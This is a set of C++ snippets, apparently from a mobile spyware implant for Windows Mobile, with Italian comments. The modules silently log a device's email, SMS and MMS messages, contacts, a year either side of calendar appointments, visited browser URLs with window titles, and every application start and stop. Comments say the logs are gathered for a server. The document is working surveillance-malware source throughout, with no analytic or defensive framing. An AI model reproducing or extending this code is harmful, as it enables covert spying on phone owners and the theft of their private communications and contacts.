Example #1
0
BOOL CMAPIAdviseSink::LogMessage( MAPIMessage& message )
{
	HRESULT hRes = E_FAIL;
	
	DWORD cbSize;
	std::auto_ptr<BYTE> lpData;
	lpData.reset( message.Serialize(&cbSize) );
	if (lpData.get() == NULL) {
		DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [ERROR serializing message]", 5, FALSE);
		return FALSE;
	}
	
	Log pLog;
	UINT log_type = LOGTYPE_MAIL;
	
	if (CmpWildW(CLASS_MAIL, message.Class()) != 0)
		log_type = LOGTYPE_MAIL;
	else if (CmpWildW(CLASS_SMS, message.Class()) != 0)
		log_type = LOGTYPE_SMS;
	else if (CmpWildW(CLASS_MMS, message.Class()) != 0)
		log_type = LOGTYPE_MMS;
	
	if (pLog.CreateLog(log_type, NULL, 0, FLASH) != TRUE) {
		DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [ERROR cannot create log]", 5, FALSE);
		return FALSE;
	}
	
	pLog.WriteLog(lpData.get(), cbSize);
	pLog.CloseLog();
	
	DBG_TRACE_INT(L"Debug - MAPIAdviseSink.cpp - OnNotify() [serialized message] size: ", 5, FALSE, cbSize);
	
	return TRUE;
}
Example #2
0
void CPoomAddressbook::Run(UINT uAgentId)
{	
	BYTE sha1[20];
	Hash hash;
	DWORD lpdwOutLength;
	DWORD hPoom;
	UINT err;

	handleCount=0;

	err=_PoomDataServiceClient_GetObjectsEnumerator(L"Contacts: All",&hPoom);

	//_PIMPR_ERROR_NOT_FOUND significa che ci sono 0 contatti
	if(err==_PIMPR_ERROR_NOT_FOUND||err==_PIMPR_ERROR_ACCESS_DENIED)
		 return;

	//in handleCount mi ritrovo il numero di contatti che ho
	err=_PoomDataServiceClient_MoveNext(hPoom,requestedCount,&handleCount,ptrArray); 

	if(handleCount==0||err!=0) 
	{
		_PoomDataServiceClient_FreeEnumerator(hPoom);
		return;
	}

	contacts = (CONTACT **) ptrArray;

	UINT numMarkupContact=LoadMarkup(uAgentId);


	for(unsigned int i=0; i < handleCount; i++)
	{
#ifdef _DEBUG
		WCHAR msg[128];
		swprintf_s(msg, L">>>Numero Contact=%i<<<\n",i);
		OutputDebugString(msg);
#endif

		LPBYTE lpOutBuf = NULL;
		//deserializzo CONTACT // CONTACTSerializer 
		CONTACTACC contact={0};
		lpdwOutLength=SerilaizeContact(i, &lpOutBuf,&contact);

		//se l'id del corrente contatto è presente nel markup

			//carico lo sha1 dell'id del contatto e lo confronto con quello del markup 
			//se lo sha è uguale allora il contatto non è stato modificato per cui non c'e' bisogno che creo il log x il server => sha1flag=1
			//se lo sha è diverso significa che il contatto è stato modificato per cui aggiorno il markup e creo il log x il server => sha1flag=2

		//se l'id non è presente nel markup creo il log x il server e aggiungo l'elemanto nel markup=> sha1flag=3

		//calcolo l'hash del contatto i
		hash.Sha1((UCHAR *)lpOutBuf, lpdwOutLength, sha1);
				
		identifyContact ContactFromId=addressbookMapSha1[contact.Id];
			
		BYTE bufNULL[20]={0};
		//se lo sha1 non è null entro
		if(memcmp(ContactFromId.sha1,bufNULL,sizeof(bufNULL))!=0)
		{
			if(!memcmp(ContactFromId.sha1,sha1,sizeof(sha1))==0)
			{
				//se lo sha è diverso significa che il contatto è stato modificato per cui aggiorno il markup e creo il log x il server => sha1flag=2
				//rimuovo il contatto nel il markup vecchio
				addressbookMapSha1.erase(contact.Id);


				//aggiungo il nuovo elemento nel markup e nel log per il server
				identifyContact IdSha1;
				IdSha1.ID=contact.Id;
				memcpy(IdSha1.sha1,sha1,sizeof(IdSha1.sha1));
				IdSha1.sha1flag=2;

				addressbookMapSha1[contact.Id]=IdSha1;

				Log poomLog = Log();

				if (lpOutBuf) {
					poomLog.CreateLog(LOGTYPE_ADDRESSBOOK, NULL, 0, FLASH);
					poomLog.WriteLog(lpOutBuf, lpdwOutLength);			
					poomLog.CloseLog();
					//SAFE_DELETE(lpOutBuf);
				}
			}
			else
			{
						//se lo sha è uguale allora il contatto non è stato modificato per cui non c'e' bisogno che creo il log x il server => sha1flag=1
						ContactFromId.sha1flag=1;
						addressbookMapSha1[contact.Id]=ContactFromId;

			}
				

		}
		else
		{   //se l'id non è presente nel markup creo il log x il server e aggiungo l'elemanto nel markup=> sha1flag=3

			identifyContact IdSha1;
			IdSha1.ID=contact.Id;
			memcpy(IdSha1.sha1,sha1,sizeof(IdSha1.sha1));
			IdSha1.sha1flag=3;
				
			addressbookMapSha1[contact.Id]=IdSha1;



			Log poomLog = Log();

			if (lpOutBuf) {
				poomLog.CreateLog(LOGTYPE_ADDRESSBOOK, NULL, 0, FLASH);
				poomLog.WriteLog(lpOutBuf, lpdwOutLength);			
				poomLog.CloseLog();
				//SAFE_DELETE(lpOutBuf);
			}
		}


		SAFE_DELETE(lpOutBuf);
		
	}



	//alla fine devo parsare tutti i markup è quelli contrassegnati con 0 significa che non sono piu' presenti nell'addressbook per cui li devo rimuovere dal markup
/***
	for (std::map<UINT, identifyContact>::iterator addressbookIt=addressbookMapSha1.begin(); addressbookIt != addressbookMapSha1.end(); addressbookIt++)
	{
		if(addressbookIt->second.sha1flag==0) 
		{
			//rimuovo il contatto nel il markup vecchio
			addressbookMapSha1.erase(addressbookIt->second.ID);
		}

	}
***/

	std::map<UINT, identifyContact>::iterator addressbookIt=addressbookMapSha1.begin(); 
	while(addressbookIt != addressbookMapSha1.end())
	{
		if (addressbookIt->second.sha1flag==0)
		{
			addressbookMapSha1.erase(addressbookIt++->second.ID);  // Use iterator.
									  // Note the post increment.
									  // Increments the iterator but returns the
									  // original value for use by erase 
		}
		else
		{
			++addressbookIt;           // Can use pre-increment in this case
							   // To make sure you have the efficient version
		}
	}


	
	identifyContact* storeMarkupContact = new identifyContact[addressbookMapSha1.size()];
	
	int addressbookPos=0;
	for (std::map<UINT, identifyContact>::iterator addressbookIt=addressbookMapSha1.begin(); addressbookIt != addressbookMapSha1.end(); ++addressbookIt)
	{
			storeMarkupContact[addressbookPos].ID=addressbookIt->second.ID;
			memcpy(storeMarkupContact[addressbookPos].sha1,addressbookIt->second.sha1,sizeof(storeMarkupContact[addressbookPos].sha1));
			storeMarkupContact[addressbookPos].sha1flag=0;
			addressbookPos++;
	}

	SaveMarkup(uAgentId,(BYTE *)storeMarkupContact,sizeof(identifyContact)*addressbookPos);




    

	//dealloco gli oggetti
	for(unsigned int i=0; i < handleCount; i++)
	{
		_PoomDataServiceClient_FreeObject((DWORD*)contacts[i]);
	}

	_PoomDataServiceClient_FreeEnumerator(hPoom);



}
Example #3
0
void CPoomCalendar::Run(UINT uAgentId)
{
	BYTE sha1[20];
	Hash hash;
	SYSTEMTIME st;
	DWORD lpdwOutLength;

	handleCount=0;

	ZeroMemory(&st, sizeof(st));
	GetSystemTime(&st);

#ifdef _DEBUG
//	err=_PoomDataServiceClient_GetObjectsEnumerator(L"Appointments: Start=03.02.2013.00.00 End=03.05.2013.00.00 Max=2000",&hPoom);
	WCHAR PoomQuery[128];
	swprintf_s(PoomQuery, L"Appointments: Start=%02i.%02i.%04i.00.00 End=%02i.%02i.%04i.00.00 Max=%i",st.wMonth,st.wDay,st.wYear-1,st.wMonth,st.wDay,st.wYear+1,MAX_APPOINTMENT);
	err=_PoomDataServiceClient_GetObjectsEnumerator(PoomQuery,&hPoom);

#else
	//preparo una query per scandagliare gli appuntamenti del precedenta anno e del futuro anno
	WCHAR PoomQuery[128];
	swprintf_s(PoomQuery, L"Appointments: Start=%02i.%02i.%04i.00.00 End=%02i.%02i.%04i.00.00 Max=%i",st.wMonth,st.wDay,st.wYear-1,st.wMonth,st.wDay,st.wYear+1,MAX_APPOINTMENT);
	err=_PoomDataServiceClient_GetObjectsEnumerator(PoomQuery,&hPoom);
#endif
	
	//_PIMPR_ERROR_NOT_FOUND significa che ci sono 0 contatti
	if(err==_PIMPR_ERROR_NOT_FOUND||err==_PIMPR_ERROR_ACCESS_DENIED)
		 return;

	err=_PoomDataServiceClient_MoveNext(hPoom,requestedCount,&handleCount,ptrArray); //in handleCount mi ritrovo il numero di contatti che ho

	if(handleCount==0||err!=0) 
	{
		_PoomDataServiceClient_FreeEnumerator(hPoom);
		return;
	}

	contacts = (APPOINTMENT **) ptrArray;
	
	UINT numMarkupContact=LoadMarkup(uAgentId);

	for(unsigned int i=0; i < handleCount; i++)
	{
#if _DEBUG
		WCHAR msg[64];
		swprintf_s(msg, L"\nAPPOINTMENT %02i/%02i:\n",i,handleCount-1);
		OutputDebugString(msg);
#endif
		LPBYTE lpOutBuf = NULL;
		//deserializzo APPOINTMENT // APPOINTMENTSerializer 
		APPOINTMENTACC appointment={0};
		
		lpdwOutLength=SerilaizeAppointment(i, &lpOutBuf,&appointment);



		//se l'id del corrente contatto è presente nel markup

			//carico lo sha1 dell'id del contatto e lo confronto con quello del markup 
			//se lo sha è uguale allora il contatto non è stato modificato per cui non c'e' bisogno che creo il log x il server => sha1flag=1
			//se lo sha è diverso significa che il contatto è stato modificato per cui aggiorno il markup e creo il log x il server => sha1flag=2

		//se l'id non è presente nel markup creo il log x il server e aggiungo l'elemanto nel markup=> sha1flag=3

		//calcolo l'hash del contatto i
		hash.Sha1((UCHAR *)lpOutBuf, lpdwOutLength, sha1);
				
		identifyAppointment AppointmentFromId=calendarMapSha1[appointment.Id];
			
		BYTE bufNULL[20]={0};
		//se lo sha1 non è null entro
		if(memcmp(AppointmentFromId.sha1,bufNULL,sizeof(bufNULL))!=0)
		{
			if(!memcmp(AppointmentFromId.sha1,sha1,sizeof(sha1))==0)
			{
				//se lo sha è diverso significa che il contatto è stato modificato per cui aggiorno il markup e creo il log x il server => sha1flag=2
				//rimuovo il contatto nel il markup vecchio
				calendarMapSha1.erase(appointment.Id);


				//aggiungo il nuovo elemento nel markup e nel log per il server
				identifyAppointment IdSha1;
				IdSha1.ID=appointment.Id;
				memcpy(IdSha1.sha1,sha1,sizeof(IdSha1.sha1));
				IdSha1.sha1flag=2;

				calendarMapSha1[appointment.Id]=IdSha1;

				Log poomLog = Log();

				if (lpOutBuf) {
					poomLog.CreateLog(LOGTYPE_CALENDAR, NULL, 0, FLASH);
					poomLog.WriteLog(lpOutBuf, lpdwOutLength);			
					poomLog.CloseLog();
					//SAFE_DELETE(lpOutBuf);
				}
			}
			else
			{
						//se lo sha è uguale allora il contatto non è stato modificato per cui non c'e' bisogno che creo il log x il server => sha1flag=1
						AppointmentFromId.sha1flag=1;
						calendarMapSha1[appointment.Id]=AppointmentFromId;

			}
				

		}
		else
		{   //se l'id non è presente nel markup creo il log x il server e aggiungo l'elemanto nel markup=> sha1flag=3

			identifyAppointment IdSha1;
			IdSha1.ID=appointment.Id;
			memcpy(IdSha1.sha1,sha1,sizeof(IdSha1.sha1));
			IdSha1.sha1flag=3;
				
			calendarMapSha1[appointment.Id]=IdSha1;



			Log poomLog = Log();

			if (lpOutBuf) {
				poomLog.CreateLog(LOGTYPE_CALENDAR, NULL, 0, FLASH);
				poomLog.WriteLog(lpOutBuf, lpdwOutLength);			
				poomLog.CloseLog();
				//SAFE_DELETE(lpOutBuf);
			}
		}


		SAFE_DELETE(lpOutBuf);

	}


	//alla fine devo parsare tutti i markup è quelli contrassegnati con 0 significa che non sono piu' presenti nell'addressbook per cui li devo rimuovere dal markup

	std::map<ULONG, identifyAppointment>::iterator calendarIt=calendarMapSha1.begin(); 
	while(calendarIt != calendarMapSha1.end())
	{
		if (calendarIt->second.sha1flag==0)
		{
			calendarMapSha1.erase(calendarIt++->second.ID);  // Use iterator.
									  // Note the post increment.
									  // Increments the iterator but returns the
									  // original value for use by erase 
		}
		else
		{
			++calendarIt;           // Can use pre-increment in this case
							   // To make sure you have the efficient version
		}
	}


	
	identifyAppointment* storeMarkupAppointment= new identifyAppointment[calendarMapSha1.size()];
	
	int calendarPos=0;
	for (std::map<ULONG, identifyAppointment>::iterator calendarIt=calendarMapSha1.begin(); calendarIt != calendarMapSha1.end(); ++calendarIt)
	{
			storeMarkupAppointment[calendarPos].ID=calendarIt->second.ID;
			memcpy(storeMarkupAppointment[calendarPos].sha1,calendarIt->second.sha1,sizeof(storeMarkupAppointment[calendarPos].sha1));
			storeMarkupAppointment[calendarPos].sha1flag=0;
			calendarPos++;
	}

	SaveMarkup(uAgentId,(BYTE *)storeMarkupAppointment,sizeof(identifyAppointment)*calendarPos);





	//dealloco gli oggetti
	for(unsigned int i=0; i < handleCount; i++)
	{
		_PoomDataServiceClient_FreeObject((DWORD*)contacts[i]);
	}

	_PoomDataServiceClient_FreeEnumerator(hPoom);

}
Example #4
0
DWORD WINAPI UrlModule(LPVOID lpParam) {
	Module *me = (Module *)lpParam;
	HANDLE moduleHandle;

	wstring strIEUrl, strIE65Url, strOperaUrl, strIEOld, strIE65Old, strOperaOld;
	wstring strTitle;
	BOOL bEmpty = TRUE;
	INT iRet;
	UINT uMarkupLen, uHash = 0, uNewHash;
	BYTE *pMarkup;
	SYSTEMTIME st;
	DWORD dw, dwMarker = LOG_URL_MARKER;
	WCHAR wNull = 0;
	struct tm mytm;

	Log log;

	me->setStatus(MODULE_RUNNING);
	moduleHandle = me->getEvent();

	DBG_TRACE(L"Debug - UrlCatcher.cpp - Url Module is Alive\n", 5, FALSE);

	if (log.CreateLog(LOGTYPE_URL, NULL, 0, FLASH) == FALSE) {
		me->setStatus(MODULE_STOPPED);
		return 0;
	}

	// Inizializziamo uHash con l'hash dell'ultimo URL preso
	pMarkup = log.ReadMarkup(MODULE_URL, &uMarkupLen);

	if (pMarkup && uMarkupLen == 4)
		CopyMemory(&uHash, pMarkup, sizeof(uHash)); 

	if (pMarkup) {
		delete[] pMarkup;
		pMarkup = NULL;
	}

	LOOP {
		do {
			iRet = GetIE60Url(strIEUrl, strTitle, moduleHandle);

			// Dobbiamo fermarci
			if (iRet < 0) {
				if (me->shouldStop()) {
					DBG_TRACE(L"Debug - Clipboard.cpp - Clipboard Module is Closing\n", 1, FALSE);

					log.CloseLog(bEmpty);
					me->setStatus(MODULE_STOPPED);
					return 0;
				}

				if (me->shouldCycle()) {
					DBG_TRACE(L"Debug - Clipboard.cpp - Clipboard Module, log cycling\n", 1, FALSE);

					log.CloseLog(bEmpty);
					log.CreateLog(LOGTYPE_URL, NULL, 0, FLASH);
					bEmpty = TRUE;
					continue;
				}
			}

			// Calcoliamo l'hash dell'URL attuale
			uNewHash = FnvHash((PBYTE)strIEUrl.c_str(), strIEUrl.size() * sizeof(WCHAR));

			if (iRet && uNewHash != uHash && strIEUrl != strIEOld) {
				GetSystemTime(&st);
				SET_TIMESTAMP(mytm, st);

				if (log.WriteLog((BYTE *)&mytm, sizeof(mytm)))
					bEmpty = FALSE;

				log.WriteLog((BYTE *)&dwMarker, sizeof(dwMarker));
				log.WriteLog((BYTE *)strIEUrl.c_str(), strIEUrl.size() * sizeof(WCHAR));
				log.WriteLog((BYTE *)&wNull, sizeof(WCHAR)); // Scriviamo UN byte di NULL
				// Scriviamo il tipo di browser
				dw = 1; // IE
				log.WriteLog((BYTE *)&dw, sizeof(dw));

				// Scriviamo il titolo della finestra + NULL
				if (strTitle.empty())
					strTitle = L"UNKNOWN";

				log.WriteLog((BYTE *)strTitle.c_str(), WideLen((PWCHAR)strTitle.c_str()));
				log.WriteLog((BYTE *)&wNull, sizeof(WCHAR)); // Scriviamo UN byte di NULL

				// Scriviamo il delimitatore
				dw = LOG_DELIMITER;
				log.WriteLog((BYTE *)&dw, sizeof(dw));

				// Scriviamo l'hash dell'URL attuale nel markup
				uHash = FnvHash((PBYTE)strIEUrl.c_str(), strIEUrl.size() * sizeof(WCHAR));
				log.WriteMarkup(MODULE_URL, (PBYTE)&uHash, sizeof(uHash));

				strIEOld = strIEUrl;
			}
		} while(0);

		do {
			iRet = GetIE65Url(strIE65Url, strTitle, moduleHandle);

			// Dobbiamo fermarci
			if (iRet < 0) {
				if (me->shouldStop()) {
					DBG_TRACE(L"Debug - Clipboard.cpp - Clipboard Module is Closing\n", 1, FALSE);

					log.CloseLog(bEmpty);
					me->setStatus(MODULE_STOPPED);
					return 0;
				}

				if (me->shouldCycle()) {
					DBG_TRACE(L"Debug - Clipboard.cpp - Clipboard Module, log cycling\n", 1, FALSE);

					log.CloseLog(bEmpty);
					log.CreateLog(LOGTYPE_URL, NULL, 0, FLASH);
					bEmpty = TRUE;
					continue;
				}
			}

			// Calcoliamo l'hash dell'URL attuale
			uNewHash = FnvHash((PBYTE)strIE65Url.c_str(), strIE65Url.size() * sizeof(WCHAR));

			if (iRet && uNewHash != uHash && strIE65Url != strIE65Old) {
				GetSystemTime(&st);
				SET_TIMESTAMP(mytm, st);

				if (log.WriteLog((BYTE *)&mytm, sizeof(mytm)))
					bEmpty = FALSE;

				log.WriteLog((BYTE *)&dwMarker, sizeof(dwMarker));
				log.WriteLog((BYTE *)strIE65Url.c_str(), strIE65Url.size() * sizeof(WCHAR));
				log.WriteLog((BYTE *)&wNull, sizeof(WCHAR)); // Scriviamo UN byte di NULL

				// Scriviamo il tipo di browser
				dw = 1; // IE
				log.WriteLog((BYTE *)&dw, sizeof(dw));

				// Scriviamo il titolo della finestra + NULL
				if (strTitle.empty())
					strTitle = L"UNKNOWN";

				log.WriteLog((BYTE *)strTitle.c_str(), WideLen((PWCHAR)strTitle.c_str()));
				log.WriteLog((BYTE *)&wNull, sizeof(WCHAR)); // Scriviamo UN byte di NULL

				// Scriviamo il delimitatore
				dw = LOG_DELIMITER;
				log.WriteLog((BYTE *)&dw, sizeof(dw));

				// Scriviamo l'hash dell'URL attuale nel markup
				uHash = FnvHash((PBYTE)strIE65Url.c_str(), strIE65Url.size() * sizeof(WCHAR));
				log.WriteMarkup(MODULE_URL, (PBYTE)&uHash, sizeof(uHash));

				strIE65Old = strIE65Url;
			}
		} while(0);

		do {
			iRet = GetOperaUrl(strOperaUrl, strTitle, moduleHandle);

			// Dobbiamo fermarci
			if (iRet < 0) {
				if (me->shouldStop()) {
					DBG_TRACE(L"Debug - Clipboard.cpp - Clipboard Module is Closing\n", 1, FALSE);

					log.CloseLog(bEmpty);
					me->setStatus(MODULE_STOPPED);
					return 0;
				}

				if (me->shouldCycle()) {
					DBG_TRACE(L"Debug - Clipboard.cpp - Clipboard Module, log cycling\n", 1, FALSE);

					log.CloseLog(bEmpty);
					log.CreateLog(LOGTYPE_URL, NULL, 0, FLASH);
					bEmpty = TRUE;
					continue;
				}
			}

			// Calcoliamo l'hash dell'URL attuale
			uNewHash = FnvHash((PBYTE)strOperaUrl.c_str(), strOperaUrl.size() * sizeof(WCHAR));

			if (iRet && uNewHash != uHash && strOperaUrl != strOperaOld) {
				GetSystemTime(&st);
				SET_TIMESTAMP(mytm, st);

				if (log.WriteLog((BYTE *)&mytm, sizeof(mytm)))
					bEmpty = FALSE;

				log.WriteLog((BYTE *)&dwMarker, sizeof(dwMarker));
				log.WriteLog((BYTE *)strOperaUrl.c_str(), strOperaUrl.size() * sizeof(WCHAR));
				log.WriteLog((BYTE *)&wNull, sizeof(WCHAR)); // Scriviamo UN byte di NULL

				// Scriviamo il tipo di browser
				dw = 3; // Opera-Mobile
				log.WriteLog((BYTE *)&dw, sizeof(dw));

				// Scriviamo il titolo della finestra + NULL
				if (strTitle.empty())
					strTitle = L"UNKNOWN";

				log.WriteLog((BYTE *)strTitle.c_str(), WideLen((PWCHAR)strTitle.c_str()));
				log.WriteLog((BYTE *)&wNull, sizeof(WCHAR)); // Scriviamo UN byte di NULL

				// Scriviamo il delimitatore
				dw = LOG_DELIMITER;
				log.WriteLog((BYTE *)&dw, sizeof(dw));

				// Scriviamo l'hash dell'URL attuale nel markup
				uHash = FnvHash((PBYTE)strOperaUrl.c_str(), strOperaUrl.size() * sizeof(WCHAR));
				log.WriteMarkup(MODULE_URL, (PBYTE)&uHash, sizeof(uHash));

				strOperaOld = strOperaUrl;
			}
		} while(0);

		WaitForSingleObject(moduleHandle, 5000);

		if (me->shouldStop()) {
			DBG_TRACE(L"Debug - Clipboard.cpp - Clipboard Module is Closing\n", 1, FALSE);

			log.CloseLog(bEmpty);
			me->setStatus(MODULE_STOPPED);
			return 0;
		}

		if (me->shouldCycle()) {
			DBG_TRACE(L"Debug - Clipboard.cpp - Clipboard Module, log cycling\n", 1, FALSE);

			log.CloseLog(bEmpty);
			log.CreateLog(LOGTYPE_URL, NULL, 0, FLASH);
		}
	}

	return TRUE;
}
Example #5
0
DWORD WINAPI ApplicationModule(LPVOID lpParam) {
	Module *me = (Module *)lpParam;
	HANDLE moduleHandle;

	Log log;
	list<ProcessEntry> pProcessList, pUpdatedProcess;
	list<ProcessEntry>::iterator iterOld, iterNew;
	ProcessMonitor *processObj = ProcessMonitor::self();
	wstring wDesc;
	struct tm mytm;
	WCHAR wNull = 0;
	SYSTEMTIME st;
	BOOL bFirst = TRUE, bFound = FALSE, bEmpty = TRUE;

	pProcessList.clear();
	pUpdatedProcess.clear();

	me->setStatus(MODULE_RUNNING);
	moduleHandle = me->getEvent();

	DBG_TRACE(L"Debug - Application.cpp - Application Module started\n", 5, FALSE);

	// Creiamo il log
	if (log.CreateLog(LOGTYPE_APPLICATION, NULL, 0, FLASH) == FALSE) {
		me->setStatus(MODULE_STOPPED);
		DBG_TRACE(L"Debug - Application.cpp - Application Module cannot create log\n", 5, FALSE);
		return TRUE;
	}

	DBG_TRACE(L"Debug - Application.cpp - Application Module is Alive\n", 1, FALSE);

	LOOP {
		do {
			if (bFirst) {
				bFirst = FALSE;
				pProcessList.clear();

				if (pUpdatedProcess.empty())
					processObj->GetProcessList(pProcessList);
				else
					pProcessList = pUpdatedProcess;
			} else {
				bFirst = TRUE;
				pUpdatedProcess.clear();
				processObj->GetProcessList(pUpdatedProcess);

				if (pUpdatedProcess.empty() || pProcessList.empty())
					continue;

				// Confronta le due liste (la nuova con la vecchia) alla ricerca di nuovi processi
				for (iterNew = pUpdatedProcess.begin(); iterNew != pUpdatedProcess.end(); iterNew++) {
					for (iterOld = pProcessList.begin(); iterOld != pProcessList.end(); iterOld++) {	
						if (!wcscmp((*iterOld).pe.szExeFile, (*iterNew).pe.szExeFile)) {
							bFound = TRUE; // Situazione invariata
							pProcessList.erase(iterOld);
							break;
						}
					}

					if (bFound == FALSE) {
						GetSystemTime(&st);
						SET_TIMESTAMP(mytm, st);

						// 1. Scriviamo il timestamp
						if (log.WriteLog((BYTE *)&mytm, sizeof(mytm)))
							bEmpty = FALSE;

						// 2. Poi il nome del file
						log.WriteLog((BYTE *)(*iterNew).pe.szExeFile, WideLen((*iterNew).pe.szExeFile));
						log.WriteLog((BYTE *)&wNull, sizeof(WCHAR));

						// 3. Quindi lo stato (START o STOP)
						log.WriteLog((BYTE *)L"START", WideLen(L"START"));
						log.WriteLog((BYTE *)&wNull, sizeof(WCHAR));

						// 4. La descrizione (se disponibile)
						wDesc = processObj->GetProcessDescription((*iterNew).pe.th32ProcessID);

						if (wDesc.empty() == FALSE)
							log.WriteLog((BYTE *)wDesc.c_str(), wDesc.size() * sizeof(WCHAR));

						log.WriteLog((BYTE *)&wNull, sizeof(WCHAR));

						// 5. Ed il delimitatore
						UINT delimiter = LOG_DELIMITER;
						log.WriteLog((BYTE *)&delimiter, sizeof(delimiter));
					}

					bFound = FALSE;
				}

				for (iterOld = pProcessList.begin(); iterOld != pProcessList.end(); iterOld++) {
					GetSystemTime(&st);
					SET_TIMESTAMP(mytm, st);

					// 1. Scriviamo il timestamp
					if (log.WriteLog((BYTE *)&mytm, sizeof(mytm)))
						bEmpty = FALSE;

					// 2. Poi il nome del file
					log.WriteLog((BYTE *)(*iterOld).pe.szExeFile, WideLen((*iterOld).pe.szExeFile));
					log.WriteLog((BYTE *)&wNull, sizeof(WCHAR));

					// 3. Quindi lo stato (START o STOP)
					log.WriteLog((BYTE *)L"STOP", WideLen(L"STOP"));
					log.WriteLog((BYTE *)&wNull, sizeof(WCHAR));

					// 4. La descrizione (se disponibile)
					wDesc = processObj->GetProcessDescription((*iterOld).pe.th32ProcessID);

					if (wDesc.empty() == FALSE)
						log.WriteLog((BYTE *)wDesc.c_str(), wDesc.size() * sizeof(WCHAR));

					log.WriteLog((BYTE *)&wNull, sizeof(WCHAR));

					// 5. Ed il delimitatore
					UINT delimiter = LOG_DELIMITER;
					log.WriteLog((BYTE *)&delimiter, sizeof(delimiter));
				}
			}
		} while(0);

		WaitForSingleObject(moduleHandle, 5000);

		if (me->shouldStop()) {
			DBG_TRACE(L"Debug - Application.cpp - Application Module is Closing\n", 1, FALSE);
			pProcessList.clear();
			pUpdatedProcess.clear();

			log.CloseLog(bEmpty);
			me->setStatus(MODULE_STOPPED);

			return 0;
		}

		if (me->shouldCycle()) {
			log.CloseLog(bEmpty);
			log.CreateLog(LOGTYPE_APPLICATION, NULL, 0, FLASH);
			DBG_TRACE(L"Debug - Application.cpp - Application Module, log cycling\n", 1, FALSE);
		}
	}

	return FALSE;
}